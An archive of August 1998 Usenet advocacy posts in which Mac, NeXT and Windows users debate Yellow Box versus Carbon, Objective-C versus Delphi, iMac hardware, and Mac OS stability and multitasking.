The first and biggest thing that they'll be interested in is the
stability.
As for how powerful the most basic programs are - the user doesn't care
that you only had to write a hundred lines of code to make a full
featured word processor, the user cares that he has a good word
processor with the features he wants.
--
John Moreno
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com>
Message-ID: <35dd962f.0@news.depaul.edu>
Date: 21 Aug 98 15:45:51 GMT
In comp.sys.next.advocacy John Kheit <jkheit@mediaone.net> wrote:
> quinlan@intergate.bc.ca wrote:
> >
> > What is the problem with using Pascal as a base language? Pascal
> > allows some contructs that aren't available in C (sets, ranges,
> > pass by reference, procedure nesting, with, etc.) and it's major
> > deficiencies where mixed in Modula-2 (open ended arrays, unsigned
> > types, better import/export, module initialization, etc.)
> The main advantages to Objective C are it has an elegant OO layer,
> but it also allows straight Ansi C to be used and thus porting all
> kinds of C code becomes trivial. And C is just generally more
> widely used. Also, C shows a lot of range in the form of Objective
> C. As straight C it will compile and execute faster, and allow
> more efficient low level type work, but as ObjC it let's you get
> almost to the rhelm of smalltalk flexibility and functionality. I
> don't see pascal as having as broad a range. Not that pascal is a
> bad language per se.
Delphi's Object Pascal is pretty nice, and has some Objective-C-like
dynamic features, though it doesn't go as far. I really miss
Categories when I'm using Delphi.
I haven't used it since 2.0, and later versions are supposed to
have nifty support for COM (ick), which I think lets you create
things like Protocols.
Two things Delphi has over YellowBox: 1) compiles are single-pass,
and very fast; 2) It's much easier to create a palletized object.
Unlike InterfaceBuilder, you don't need to create a special
inspector for a new class; Delphi's Inspector lets you edit
all the published properties of the object, automatically. In
YellowBox, you have to create an Inspector and UI to allow the
user to graphically edit the new class' instances.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: 21 Aug 1998 04:54:02 GMT
Organization: University of California at San Diego
Message-ID: <slrn6tpvb9.5s4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6ri2mt$3j6@newsb.netnews.att.com> <6rin3i$uki$1@nnrp1.dejanews.com>
On Fri, 21 Aug 1998 02:47:14 GMT, wrote:
:If I
:were Apple, I'd make a gMac that ships with a single PCI slot which would
:contain a GameWizard.
If I were Apple, I'd make a gMac and make a a card which uses the 3dfx chip---
apparently the profit margins on these cards (compared to the cost of the
chips) is very high, rather surprisingly.
I suspect that Apple is thinking about gMacs. Though with the
success of the 'iMac' marketing, they will probably stick with the iMac
''brand'' --- the gMac becomes the first in the line of the 'iMac 3-D.'
And Apple drifts ever closer to its actual true business model---that
of a workstation manufacturer.
Sun distinguishes its models along two axes, the processor speed and
bus, and then the level of graphics board. "Creator, Creator 3D,
Elite 3D," et cetera. Likewise SGI. And one would hope, soon Apple.
MacOS X: Unix with a pretty face and native MS-Office. Sell SGI.
ObDigression:
Apple better start planning now for the eventual disapperance of MS-Office.
It will happen, and sooner than it imagines. The more successful Apple
becomes, the more likely it is to happen.
The argument that ``Microsoft won't do that because it makes money on
Office'' won't fly if MacOS X becomes a strategic threat. It will absorb
huge losses for the overall cause if Bill thinks it should.
Look how much effort and money it put Internet Explorer---even to the
point of making a Solaris version(!)---and then gave it away gratis.
Microsoft is not in the business of charity.
All in order to counteract a single program that its competitor was selling
for peanuts, and giving away to many others.
ObDigressionOntheDigression:
Linux is wonderfully immune to all of this BS.
There's nobody to buy out, no deal to ram through, no strategic
technology to snatch away, no irreplacable people to be hired away.
No way to kill it, and almost no way to hurt it. I'm not sure if it's
because of Vorlon--or maybe Borg--technology. ;-)
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 00:58:17 -0400
Organization: phenix@interpath.com
Message-ID: <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy <quinlan@intergate.bc.ca> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > Carbon apps == yellow box apps.
>
> No. It is nearly impossible to imagine YB and Carbon applications behaving
> the same way unless they really screw up the YB.
I didn't mean that they would behave in the same way but that from the
user perspective that they are equivalent. A YB app, and a Carbon app,
will both be full fledged citizens. The user isn't interested in the
internal's. The important part from the user perspective is the
protected memory, the multitasking, the speed of starting up the system,
the way virtual memory works (anything that takes advantage of temporary
memory will have virtually unlimited memory available).
--
John Moreno
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Does the iMac have an expansion slot? (WAS: Re: 3D chips)
Date: 21 Aug 1998 09:24:24 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6rjec8$r77@btmpjg.god.bel.alcatel.be>
References: <6rin3i$uki$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca writes
> Of couse, you can't install a GameWizard into your iMac. If I
> were Apple, I'd make a gMac that ships with a single PCI slot which would
> contain a GameWizard.
>
Yesterday in a german Mac magazine (don't remember the name)
I read that the iMac has an internal expansion slot which looks
similiar to PCI. They opened the iMac and found this, but stated
that the slot is proprietary and Apple is not giving away
specifications. Also they think that Apple could use this for
a video card to play DVD ROMs in future iMac versions.
Also, the internal monitor is connected with the
video electronics with a normal VGA(?) connector.
Does that mean that puttting a 3dfx card in
between is possible?
Does anybody know more about this?
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: so just what do you want Apple to do?
Date: 21 Aug 1998 17:33:41 GMT
Organization: Michigan State University
Message-ID: <6rkb1l$ljj$1@msunews.cl.msu.edu>
References: <6rd3aq$eu9$1@leol.net-link.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: amazon@net-link.net
In <6rd3aq$eu9$1@leol.net-link.net> "DarkMerlin(JB)" wrote:
> It seems like any conference with any relation to Apple is filled
with Apple
> haters that overwhelmingly ridicule any points of view that are
anything
> close to being positive. So I ask all those with your lists and
lists of
> complaints about how stupid Apple is or how much of a jerk Steve is
to
> compile a list of every one of you're complaints, provide just what
you want
> Apple to do and remove the complaints so it's just a list of what
your Apple
> would be like.
Some of this has already been done.
See
http://www.of.org/Rhaptel for some good discussions - feel free to pick
out
the complaints and the solutions.
The main one being no x86 compatible MacOS X version beyond 1.0, and
this
is the whole focus of the discussion and the sole reason for creating
the
Rhaptel maillist.
A potential solution.
OpenMach - A Modest Proposal
http://www.of.org/rhaptel/proposal/index.html
Also check out some of my analysis @
http://www.channelu.com/Articles/ClosedorOpen/index.html
which emphasize the importance of Apple adopting OpenMach
AND providing YB along with other value added products for it.
Something that I don't know if it's been advocated elsewhere
and probably would scare the Mac faithful - but additionally
Apple would do well to offer a MultiOS compatible x86
PC line of 2-4 boxes built with off the shelf components
along with their PPC lines. (see the reasoning for this in
the above article)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: ericb@pobox.com (Eric Bennett)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Fri, 21 Aug 1998 13:42:08 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2108981342080001@r4149.resnet.cornell.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rf5np$4lp$1@plo.sierra.com> <35DCBF40.56DB@friend.ly.net> <6ril9f$p32$1@plo.sierra.com>
In article <6ril9f$p32$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> You're not telling the whole truth. Post the whole source, or post what
> version of MacOS you're running. If you don't have a call to WaitNextEvent
> or GetNextEvent in an infinite loop, MacOS *will* freeze.
The truth is probably that the runtime calls WNE on its own--like whenever
you call printf.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 21 Aug 98 12:51:28 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B2031DD5-1111A6@153.36.240.7>
References: <6rgonk$pm9$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/alt.microsoft.sucks,
nntp://news.earthlink.net/comp.sys.mac.advocacy,
nntp://news.earthlink.net/comp.sys.next.advocacy
On Thu, Aug 20, 1998 9:02 AM, quinlan@intergate.bc.ca
<mailto:quinlan@intergate.bc.ca> wrote:
>But your Mac takes a speed hit when you try playing a sound with a higher
>than
>CD sampling rate. For example, if you play a sound taken from DAT then the
>Mac
>has to resample the sound in software. PC cards accept a wide varietly of
>sampling rates and bits/sample.
Anyone who does that is using a studio-grade Mac sound card, so it would be
unlikely to ever be an issue.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 21 Aug 1998 18:12:20 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rkda4$fat$1@lwnws01.ne.highway1.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> Does anybody still have their '85 Mac magazines? ;-)
I still have the first issue of MacWorld with SJobs over the mac. Think the
first MacUser too. Why do I keep this crap? :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.system
Subject: MacOS X is mandatory
Date: Fri, 21 Aug 1998 20:16:38 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6rkddd$o1h$2@pascal.a2000.nl>
References: <6ogco6$8ma$1@hole.sdsu.edu>
<not-1407981414190001@1-58.phx.psn.net>
<Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>
<not-2007981004090001@ip-26-136.phx.primenet.com>
<1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
<not-2007982335410001@ip-26-018.phx.primenet.com>
<6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0>
<6p2u11$9g3$1@nnrp1.dejanews.com>
<joe.ragosta-0408981649060001@wil36.dol.net>
<6q8abf$nvs$1@nnrp1.dejanews.com>
<35d39589.146319500@news.mindspring.com>
<jbg-1108981259520001@green.sdc.cs.boeing.com> <35d11510.0@news3.ibm.net>
<FIiROLCWddLd-pn2-PiVGlPFJxJge@localhost>
<not-1408980949290001@ip-167-031.phx.primenet.com>
<FIiROLCWddLd-pn2-lbE8cM6mXeKT@slip-202-135-183-217.hk.hk.ibm.net>
<joe.ragosta-2108980742000001@wil89.dol.net>
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In article <joe.ragosta-2108980742000001@wil89.dol.net> ,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article
><FIiROLCWddLd-pn2-lbE8cM6mXeKT@slip-202-135-183-217.hk.hk.ibm.net>,
>pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
>> Unless one only plays games, crashes and losing data is unacceptable.
>> Only Mac OS X is supposed to bring NT-level (actually even better)
>> stability to PowerMac users. If stability and "hardware-nativeness"
>> are to be considered "luxury"... duh.
>
>That's true if you treat it as a binary function ("stable" vs "unstable").
>Unfortunately, that's an arbitrary distinction. How many crashes per month
>are allowed before a system changes from "stable" to "unstable"?
No crashes are allowed in several months time before a system may be called
'stable'.
Any system that crashes more than once in the timeframe that a user is
performing a 'single' task must be called 'unstable'.
These are, ofcourse, arbitrary definitions. Nevertheless, by these
definitions, neither Windows or MacOS are mostly stable, and often could be
called unstable. Unix is simply stable.
So albeit arbitrary, these definitions fit my real-world experience.
>In real life, it's all a matter of degrees. If a Classic Mac OS user has
>one crash per month and it doesn't bother them much, why is Mac OS X a
>"mandatory" upgrade? Or even if he has a crash every day, but all he's
>doing is playing games and never loses any data?
The 'gameplay' remark is simply moot, since having your computer lock up on
you in the middle of a game simply means you've lost hours of data.
The point is that MacOS X is much better suited to the tasks that people
perform today, as compared to the tasks people are typically forced to
perform using Classic MacOS.
I shall try to illustrate this by conjecturing a Linux user and a MacOS
user.
The person using Classic MacOS may be just as happy with the stability of
his system as the Linux user. However, only in the weirdest of possible
worlds could it be conceivable that they were also doing the same things.
Whether a person likes MacOS or Linux (stability-wise), thus, is generally
dependant on what they do.
We shall take, to satisfy our real-world notions of what in general
constitutes Linux and MacOS users, that the MacOS user usually edits text
and graphics, while the Linux user mostly tweaks his system and runs server
applications.
Now then, we may erroneously conclude, it becomes apparent why stability
means different things to different people: because the Linux user runs
'complex applications' like a server that need high reliability, his
requirements for system stability are greater than the requirements of the
MacOS user. After all, the MacOS user just does 'simple text and graphics
processing'.
Why is this conclusion so off the mark, while it appears to hold some
validity?
The problem with the argument lies in the fact that both the MacOS and the
Linux user share a common task, that is at least as demanding as the most
demanding task that either of them performs. This task is simply websurfing.
Webbrowsers are enormous resource hogs. That computers have become so
powerful and simple as to so easily permit something that is so complex as
webbrowsing is a tribute to the science. However their simplicity does not
equal triviality, as us MacOS users should know.
Seeing how complex tasks are best performed on a 'modern' OS, and seeing how
websurfing is a complex task, it must follow that MacOS X (being a 'modern'
OS) is mandatory for _all_ users; not just power users. In fact, as services
on the Internet become more compelling (hi-quality video streams and such),
it is not the power user who needs a 'modern' OS but more and more it
becomes the _consumer_ applications that require very fast, very stable
OS's.
The argument that Joe makes keeps being rehashed and rehashed, but it really
comes down to this:
"MacOS users perform simple tasks. Therefore, they need not a modern OS."
Pascal.
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 11:22:03 -0700
Organization: Cisco Systems
Message-ID: <35DDBACB.58812391@cisco.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net>
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Joe Ragosta wrote:
>
> In article <6rj375$cu3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > How do you know what operating system he's running? Maybe he's running
> > OpenStep, BeOS or Linux. Do you think that the Mac OS is better than all of
> > those? Even Windows NT is decisively better than the Mac OS.
>
> *sigh*
>
> Unless you measure "better" by ease of use, productivity, or cost of
> ownership. Then, NT falls well short of Mac OS.
How is waiting for one task to complete before starting the next
one more productive?
How is having to reboot the machine several times per week more
productive?
How is having to quit some programs because I've run out of memory
more productive?
How is not being able to get the software or hardware I need more
productive?
How is not being able to find enough administrators for Mac systems
more productive?
How is a crufty old procedural API more productive?
How is a single vendor solution and a lack of choice and options
more productive?
The MacOS was kinda cool in 1984. Today it is just an annoying
anachronism.
I'm not saying that MS operating systems are great either, just
that in this day and age we should be past the above problems.
If MacOS can't get past them, then we should find something else
that does.
Regards,
Barry
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 11:48:16 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2108981148160001@sf-usr1-13-141.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com>
In article <35DDBACB.58812391@cisco.com>, friedman@cisco.com wrote:
> Joe Ragosta wrote:
> >
> > In article <6rj375$cu3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >
> > > How do you know what operating system he's running? Maybe he's running
> > > OpenStep, BeOS or Linux. Do you think that the Mac OS is better than
all of
> > > those? Even Windows NT is decisively better than the Mac OS.
> >
> > *sigh*
> >
> > Unless you measure "better" by ease of use, productivity, or cost of
> > ownership. Then, NT falls well short of Mac OS.
>
> How is waiting for one task to complete before starting the next
> one more productive?
>
> How is having to reboot the machine several times per week more
> productive?
>
> How is having to quit some programs because I've run out of memory
> more productive?
>
> How is not being able to get the software or hardware I need more
> productive?
>
> How is not being able to find enough administrators for Mac systems
> more productive?
>
> How is a crufty old procedural API more productive?
>
> How is a single vendor solution and a lack of choice and options
> more productive?
>
> The MacOS was kinda cool in 1984. Today it is just an annoying
> anachronism.
>
> I'm not saying that MS operating systems are great either, just
> that in this day and age we should be past the above problems.
> If MacOS can't get past them, then we should find something else
> that does.
Gee, how long has it been since you used a Mac? I'm running OS 8.1,
and I haven't had to reboot my machine in many months. I never run out
of memory, and I make six figures on my non-preemptive multitasking
Mac. I'd say you were wrong.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Fri, 21 Aug 1998 11:53:25 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2108981153260001@sf-usr1-13-141.dialup.slip.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu> <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net> <6rf3pj$fjd$1@walter.cs.umd.edu> <gmgraves-2008980931360001@sf-usr1-52-180.dialup.slip.net> <6rjnkp$473$1@nnrp1.dejanews.com>
In article <6rjnkp$473$1@nnrp1.dejanews.com>, ventosa@my-dejanews.com wrote:
> > Two track recordings don't need to be mixed (and indeed can't be unless you
> want
> > mono). Most are never "sweetened" either. I don't listen to "new" albums or
> CDs
> > for the very reason that they are wildly overproduced and usually sound
> > terrible.
>
> Why not listen to the original albums? I have more pleasure listening to my
> Dual CS-5000 with Ortofon MC element than with most CDs. I must agree, most
> CDs which sounds best imo happen to be older recordings!
You obviously haven't been following this thread. I have already stated that
vinyl sounds better than CD, and that I continue to listen to vinyl for musical
pleasure when I can. My Mercury and RCA Living Stereo LPs are treasures to
me, and I buy good used ones anytime that I can find them at reasonable
prices.
George Graves
Date: Fri, 21 Aug 1998 14:24:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-2108981424080001@wil54.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com>
In article <35DC37CF.56D9BDC2@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > > No instead we have a bunch of bureaucrats telling car manufacturers
> > > what they will make and how many. We have CAFE standards that mandate
> > > smaller less safe cars. We have air bags being forced onto cars
> >
> > Not true. CAFE standards mandate fuel economy. There's nothing in them
> > that mandates that cars need to be less safe.
>
> Fuel economy standards are a function of automobile size class.
That's true.
But if you have a CAFE that says you have to reach 29 mpg fleet average,
you can do that a number of different ways. Making the cars less safe is
only one of them.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Message-ID: <35DDC424.248C@ieighty.net>
Date: Fri, 21 Aug 1998 13:01:56 -0600
From: Legacy 'Xunker' <legacy@ieighty.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rf5np$4lp$1@plo.sierra.com> <35DCBF40.56DB@friend.ly.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jeff Barber wrote:
>
> > Then you'll recognize this code:
> >
> > main()
> > {
> > while (1);
> > }
> >
> > Guess what? That code will be pre-empted by Win9x,
> > WinNT, BeOS, Unix, any
> > nearly every other OS today, but not with MacOS.
>
> If I fire up my old Think C 6.0, create a standalone
> wrapped around while 1=1, run it, and click in the
> background, the Finder will come up because events
> are still being handled by the OS. Or were you
> implying something else?
He woulkd have to. If you ran that under '9x, it would just Multitask
it, not prempt it. Now out something like, say, integer mandelbrot of
pi to the nth calculation sting in there, run it on a 385/25, and then
see how well it prempts. NT is the ONLY MS OS that offer true
pre-emtion.
--
-LX "...Hello Rebel..."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 11:44:54 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com>
In article <6rj375$cu3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Good thing too. Your operating system is such unmittigated junk that
> > you have to be willing to spend most of your time futzing with it. Me?
> > I'd rather just get my work done. That's why I use Macintosh.
>
> How do you know what operating system he's running? Maybe he's running
> OpenStep, BeOS or Linux. Do you think that the Mac OS is better than all of
> those? Even Windows NT is decisively better than the Mac OS.
No it isn't. NT is Windows, Windows is JUNK. In fact, in many ways, NT
isn't even as good as Win98! It certainly doesn't have the plug-n-pray
--er--play, that win95/8 have, its not as compatible with as much
hardware, and it won't run all the apps that Win95/8 will. At least
Apple doesn't pitch MacOS as being a mission critical OS when it is
no such thing, like MS does. Just ask The Denver and Hong-Kong airports
and the US Navy about THAT!
MacOS is the best user experience in computers. It is also the most
productive OS. This has been proven many times. By supporting MS,
in perpetuating the myth that Windows, any Windows is better than
the MacOS, is to give creedance to the idea that Emporer Gates has
a new set of clothes, when in fact, he is as naked as a jaybird.
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 19:18:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rkh6m$666$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com>
In article <6rk08i$6ur$2@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> The main advantages to Objective C are it has an elegant OO layer,
> but it also allows straight Ansi C to be used and thus porting all
> kinds of C code becomes trivial.
I would imagine that if I were porting a C program to Objective-C almost none
of the original code would remain.
